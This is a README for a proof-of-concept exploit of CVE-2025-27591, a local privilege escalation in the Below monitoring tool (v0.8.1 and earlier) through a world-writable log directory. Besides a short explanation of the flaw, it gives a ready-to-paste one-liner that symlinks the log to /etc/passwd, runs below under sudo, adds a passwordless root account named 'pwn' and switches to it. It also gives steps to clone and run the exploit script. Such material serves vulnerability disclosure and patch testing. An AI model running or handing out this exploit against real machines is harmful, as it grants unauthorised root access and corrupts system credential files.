Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Below - Local Privilege Escalation (CVE-2025-27591)
<br><br>
<div align="center">
<img width="250" src="https://raw.githubusercontent.com/facebookincubator/below/main/img/below_logo_horizontal.png" alt="below-logo"> <br><br>
<p>Below <= v0.8.1<br>
<b>Local Privilege Escalation via World-Writable Log Symlink</b> <br>
PoC Exploit<br>
</p>
<br><br>
<img src="https://www.zyenra.com/assets/img/below-pe.png">
</div>
---
### Introduction
`Below` versions <= 0.8.1 contains a critical local privilege escalation vulnerability (CVE-2025-27591).
Due to a misconfigured world-writable log directory (`/var/log/below/`) and insecure permission logic in the Rust codebase, a local attacker can symlink `error_<user>.log` to any root-owned file like `/etc/passwd`.
When `below snapshot` is executed with `sudo`, it forcibly sets mode `0666` on the log file and writes to it—even if it's a symlink.
This allows injection of a `root`-privileged user without password, leading to full root shell access.
---
### Usage
```bash
git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh
````
**OR**
One-liner - (Copy, paste and execute)
```bash
u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn
```
---
### Environment
* Below <= v0.8.1
* Systemd-managed Linux (Ubuntu, Arch, Fedora, etc.)
* User in `sudo` group with `NOPASSWD` access to `/usr/bin/below *`
---
### Credits
Discovered and reported by Matthias Gerstner @ SUSE - [Security Advisory](https://security.opensuse.org/2025/03/12/below-world-writable-log-dir.html) <br>
PoC Exploit - Ravindu Wickramasinhge AKA [rvz](https://github.com/rvizx)